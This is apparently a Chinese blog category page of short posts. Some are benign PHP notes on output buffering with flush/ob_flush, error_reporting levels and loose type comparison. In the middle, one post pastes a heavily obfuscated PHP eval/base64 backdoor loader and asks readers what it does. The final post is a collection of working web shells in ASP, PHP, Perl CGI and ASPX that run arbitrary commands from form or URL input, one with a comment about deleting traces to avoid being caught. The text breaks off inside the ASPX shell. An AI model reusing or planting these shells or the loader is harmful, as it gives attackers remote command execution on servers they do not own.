分类 网安杂类 下的文章

好吧,从昨天就开始搞这个flush函数,直到今天中午才弄出来,而最让人蛋疼的最后搞出来的结果,阿西吧,我一定要把这个蛋疼的经历记录下来。。。。。

不知道flush()这个函数的可以先百度了解一下,我这里就简单的提一下吧,上代码:

ob_start();
 for($i=0;$i<3;$i++)
 {
    echo $i;
    ob_flush();
    flush();
    sleep(1);
 }

大概的意思就是,ob_start()打开缓冲区,程序执行完echo后,一般来说是先放到缓冲区的,等全部执行完后才在前台显示,但是当我们加上flush以后,当执行到flush的时候,就会把缓冲区的数据取到前台显示,也就是说上面这个程序的效果应该是每个一秒钟输出一个数字出来。。。。

但是你以为就这么简单,你错了,这货就是输出不出来。。。  

和php官网的案例比较了一下,一个样啊,完美啊有木有,可就是输出不出来。。。  你妹啊!

好吧,接下来就是各种百度。。。 

有的说是跟php.ini的配置有关,有的说是跟缓冲区大小有关,有的说是浏览器兼容问题。。。  于是乎我就一个一个的都试了一遍。。。  这他妹的,没一个好使的。。。 

亲,你这是跟我开玩笑么?  为什么人家都好使,我就不好使呢?  你能给我一个合理的解释么? 

突然间就有一种不是亲生的感觉。。。(你幸福么?  幸福你妹啊~)

就在今天中午,翻着百度的时候,突然就看到一个哥们儿跟我遇到情况一样,看来这天下还有和我一样命苦的孩子~

研读了一下这哥们儿的文章,读到最后,我震精了~  尼玛竟然说要加上html标签才能输出出来!!!

于是乎就把上面的代码改成了这样:

for($i=0;$i<3;$i++)
 {
    echo '<span>'.$i.'</span>';
    ob_flush();
    flush();
    sleep(1);
 }

运行了一下,阿西吧,还真尼玛跑出来了。。。。(哈利路亚~ 哈利路亚~ 哈利路亚~~~)

万能的主呀,您这是魔兽更新没什么好玩儿的,就来玩儿我了是吧?! 你敢不敢给我一个更狗血的结果呀~?!(上帝的心思屌丝你别猜,别猜别猜,你猜来猜去你也不明白,不明白不明白~)

算了,就这样吧,我认了。。。  下面把这次找的一些小资源放出来,说不定会有用。。。

 

 

PHP flush sleep 输出缓存控制详解

1
2
3
4
5
6
ob_start,flush,ob_flush 
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

有了解过PHP缓存输出控制函数的朋友肯定对上面这段代码很熟悉,它想实现的效果是每个1秒输出1个数字,完成全部输出需要10秒,不过实际执行中你会发现奇怪的现象,有些人或者有些时候它的表现如你所愿,而有些人或者有些时候却是10秒后才会一次性输出10个数字。我曾经为此抓狂不已,有朋友留言说这个情况往往是因为IE的缓存必须达到256个字符才会输出,可实际上我之前也考虑到IE的情况,可依旧会有时灵时不灵的情况。今天仔细读过手册才明白,这些不可预料的现象是有它的理由的。

原来php.ini中有两个关键参数会影响到php的缓存输出控制:

参数1:output_buffering :on/off 或者整数。设置为on时,将在所有脚本中使用输出缓存控制,不限制缓存的大小。而设置为整数时,如output_buffering=4096,当缓存数据达到4096字节时会自动输出刷新缓存。而这个参数的不同正是导致以上代码在不同时候执行结果不同的原因。当output_buffering关闭时,脚本所有的输出(echo)都会即时发送到客户端,执行上面代码时就是每秒输出一个数字。而开启output_buffering后,输出内容就会先缓存在服务端,直到脚本结束时才一起发送给客户端。

参数2:implicit_flush:on/off。设定ON意味着,当脚本有输出时,自动立即发送到客户端。相当于在echo后自动加flush()。

php缓存输出控制的相关函数:

ob_start()

第一个参数:回调函数,可选。在缓存输出前可以对其进行过滤或其他处理。最常见的用法是ob_start(‘ob_gzhandler’),即对缓存的数据进行gzip压缩后再发送给客户端。
第二个参数:缓存块的大小,可选。如果被缓存的内容达到或操作缓存块的大小,缓存会自动输出。默认值是0,指不限定大小,缓存到结束为止。还有个特殊值1,代表chunk_size=4096。
第三个参数:是否擦除缓存,可选,默认是true,如果设置为false,则在脚本执行结束前,缓存都不会被清除。

可以使用ob_get_contents()以字符串形式获取服务端缓存的数据,使用ob_end_flush()则会输出被缓存起来的数据,并关闭缓存。
而使用ob_end_clean()则会静默的清除服务端缓存的数据,而不会有任何数据或其他行为。
服务端的缓存是堆叠起来的,也就是说你在开启了ob_start()后,关闭之前,在其内部还可以开启另外一个缓存ob_start()。不过你也要务必保证关闭缓存的操作和开启缓存的操作数量一样多。

ob_start()可以指定一个回调函数来处理缓存数据,如果一个ob_start()内部嵌套了另一个
ob_start(),我们假定,外层的ob_start(),编号是A,内层的ob_start() 编号是B,它们各自制定了一个回调函数分别是functionA和functionB,那么在缓存B中的数据输出时,它会先辈funcitonB回调函数处理,再交给外层的functionA回调函数处理,之后才能输出到客户端。

另外,手册说,对于某些web服务器,比如apache,在使用回调函数有可能会改变程序当前的工作目录,解决方法是在回调函数中自行手动把工作目录修改回来,用chdir函数,这点似乎不常遇到,遇到的时候记得去查手册吧。

flush()和ob_flush()

这两个函数的使用怕是很多人最迷惑的一个问题,手册上对两个函数的解释也语焉不详,没有明确的指出它们的区别,似乎二者的功能都是刷新输出缓存。但在我们文章一开始的代码中如果讲fush()替换成ob_flush(),程序就再不能正确执行了。显然,它们是有区别的,否则也手册中直接说明其中一个是另外一个函数的别名即可了,没必要分别说明。那么它们的区别到底是什么呢?

反复研究了手册的说明,参考了手册中一些人的留言,自己琢磨应该是这样的:
在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。
开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

也就是说本文开头的脚本,可以根据缓存开启与否,有如下几种不同的写法:

注:以下代码都未考虑IE缓存必须大于256字节才输出的问题,如在IE下测试,请在代码开始加一句:

1
echo str_repeat('',256);

写法1:

1
2
3
4
5
6
7
8
output_buffering = off
 implicit_flush=off
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法2:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    ob_flush();     
    flush();     
    sleep(1);  
}

写法3:

1
2
3
4
5
6
7
8
9
10
output_buffering = off
 implicit_flush=off
 
 ob_start();  
    for($i=0;$i<10;$i++) {    
    echo $i.'<br />';     
    ob_flush();     
    flush();     
    sleep(1); 
}

写法4:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法5:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 ob_end_clean();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法6:

1
2
3
4
5
6
7
8
9
output_buffering = on;  
implicit_flush=on
 
 ob_end_clean();  
// 或者ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    sleep(1);  
}

写法7:

1
2
3
4
5
6
7
8
9
10
output_buffering = on;  
implicit_flush=on
 
 ob_end_clean();  
// 或者ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法8:

1
2
3
4
5
6
7
output_buffering = off
 implicit_flush=on
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    sleep(1);  
}


    这篇又是一篇mark的日志,主要记一下error_reporting函数的一些参数。。。

    error_reporting函数用来设置报错级别,可以让那些你不想显示的报错信息从你的页面上消失,下面是详细参数介绍:

 

数字    字符串                说明

 1       E_ERROR               致命的运行时错误。 错误无法恢复过来。脚本的执行被暂停

 2       E_WARNING             非致命的运行时错误。脚本的执行不会停止

 4       E_PARSE               编译时解析错误。解析错误应该只由分析器生成

 8       E_NOTICE              运行时间的通知。该脚本发现一些可能是一个错误,但也可能发生在正常运行一个脚本

 16      E_CORE_ERROR          在PHP启动时的致命错误。这就好比一个在PHP核心的E_ERROR

 32      E_CORE_WARNING        在PHP启动时的非致命的错误。这就好比一个在PHP核心E_WARNING警告

 64      E_COMPILE_ERROR       致命的编译时错误。这就像由Zend脚本引擎生成了一个E_ERROR

 128     E_COMPILE_WARNING     非致命的编译时错误。这就像由Zend脚本引擎生成了一个E_WARNING警告

 256     E_USER_ERROR          致命的用户生成的错误。这就像由使用PHP函数trigger_error(程序员设置E_ERROR)

 512     E_USER_WARNING        非致命的用户生成的警告。这就像由使用PHP函数trigger_error(程序员设定的一个E_WARNING警告)

 1024    E_USER_NOTICE         用户生成的通知。这就像一个由使用PHP函数trigger_error(程序员一个E_NOTICE集)

 2048    E_STRICT              运行时间的通知。

 4096    E_RECOVERABLE_ERROR   捕捉致命的错误。这就像一个E_ERROR,但可以通过用户定义的处理捕获(又见set_error_handler())

 8191    E_ALL来               所有的错误和警告,除非横向E_STRICT(E_STRICT将是PHP 6.0中E_ALL来一部分的)

 

 

 

PS:光棍节已过,我心死矣。。。  o(∩_∩)o 哈哈~

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

有没有大神知道这段代码的作用以及相关信息,求科普~

今天在写php的时候,偶然发现一个特别好玩的事情,具体代码如下:

$a = 0;
if($a == 'abc'){
   echo 'true';
}else{
   echo 'false';
}

怎么样,代码看上去很简单吧?  所以呢?输出结果是 "false" ?  

NO,NO,NO 没那么简单,大家可以自己试一下,这段代码的输出结果是 “true” !!  真的!!


就是这样一段代码,折腾了我一上午,始终没有弄明白 这个 ‘0’ 怎么能和 ‘abc’相等呢?

后来换个几个数字发现,只有0返回‘true’,其他数字返回‘false’。。。。

而且0还可以和null相等。。。。

这一度让我感觉我的世界观是错误的?!!


后来还好有高人之路,终于把这一段迷惑给解开了,下面来分享一下:


这是因为一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较

PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0

例如:123abc转换后应该是123,而abc则为00==0这当然是成立的啦!

具体可以参见PHP官方手册:比较运算符

嗯嗯,事情的经过就是这样,希望能给有同样困惑的童鞋一点帮助哈~

再贴一个参考链接:php中的类型转换规则

嗯嗯,就这么多啦~ 

Cmd Shell ASP/ASPX/JSP/PHP/CGICmd Shell ASP版本执行命令:<br>

<%

Dim oScript

Dim oScriptnet

Dim oFileSys, oFile

Dim szCMD,szTempFile

szCMD=request.form(".cmd")

'从输入框得到cmd

On Error Resume Next

'如果出现错误,直接跳过,防止弹出错误窗口

set oScript=server.createobject("WSCRIPT.SHELL")

'建立shell(wshshell)对象

set oFileSys=server.createobject("scripting.filesystemobject")

szTempFile="C:\"& oFileSys.GetTempName()

'GetTempName()是fso建立临时文件的一种方法

Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)

'调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中

set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)

'以读的方式打开临时文件

%>

<HTML>

<body bgcolor="#C0C0C0" text="#000000">

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">

<input type=text name=".CMD" size=45 value="<%= szCMD %>">

<input type=submit value="好了" class=input>

</FORM>

<PRE>

<%

On Error Resume Next

response.write server.HTMLEncode(oFile.ReadAll)

'输出编码后的文件内容

oFile.close

'关闭文件

call oFileSys.DeleteFile(szTempFile,True)

'防止被抓住所以删除文件

%>

</body>

</html>



Cmd Shell PHP版本1

cmd.php

<?php

$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");

$exec=$phpwsh->exec("cmd.exe /c ".$_GET['cmd']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

用法:http://127.0.0.1/cmd.php?cmd=ver

 

Cmd Shell PHP版本2

<html>

<head>

<title>CMD命令行PHP版</title>

<body bgcolor="c0c0c6" text="ffffff">

<center><font size=3 face="黑体" color=red>CMD命令行PHP版</font><br><font size=2 color="000000">by heiyeluren</font><br><br>

<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" value="执行"> <INPUT TYPE="reset" value="重写">

</FORM>

</center>

<hr>

<font size=2 color="000000">

<?php

if(empty($cmd)) { //判断有没有输入命令

echo "没有输入任何命令!";

} elseif(!is_string($cmd)) { //判断变量是不是字符

echo "你输入的不是命令,请重新输入!";

} else {

echo `$cmd`; //执行获得的变量(命令)

}

?>

</font>

</body>

</html>



Cmd Shell PHP版本3

<FORM ACTION="sys.php" METHOD=POST>

Command: <INPUT TYPE=TEXT NAME=cmd>

<INPUT TYPE=SUBMIT VALUE="Run">

<FORM>

<PRE>

<?php

   if(isset($cmd)) {

       system($cmd);

   }

?>

<PRE>

 

Cmd Shell CGI版本1

use CGI qw(:standard);

print header(-charset=>gb2312);

$cmd=param("cmd");

$out=`$cmd 2>&1`;

print start_form,textfield("cmd",$cmd,60);

print end_form;

print pre($out);



Cmd Shell CGI版本2

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;

print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";

print "<INPUT NAME=cmd TYPE=TEXT>\n";

print "<INPUT TYPE=SUBMIT VALUE=Run>\n";

print "</FORM>\n";

&ReadParse(*in);

if($in{'cmd'} ne "") {

   print "<PRE>\n$in{'cmd'}\n\n";

   print `/bin/bash -c "$in{'cmd'}"`;

   print "</PRE>\n";

}

 

Cmd Shell ASPX版本

<%@ Page Language="C#" Debug="true" Trace="false" %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.IO" %>

<script Language="c#" runat="server">

void Page_Load(object sender, EventArgs e)

{          

}

string ExcuteCmd(string arg)

{

    ProcessStartInfo psi = new ProcessStartInfo();

    psi.FileName = "cmd.exe";

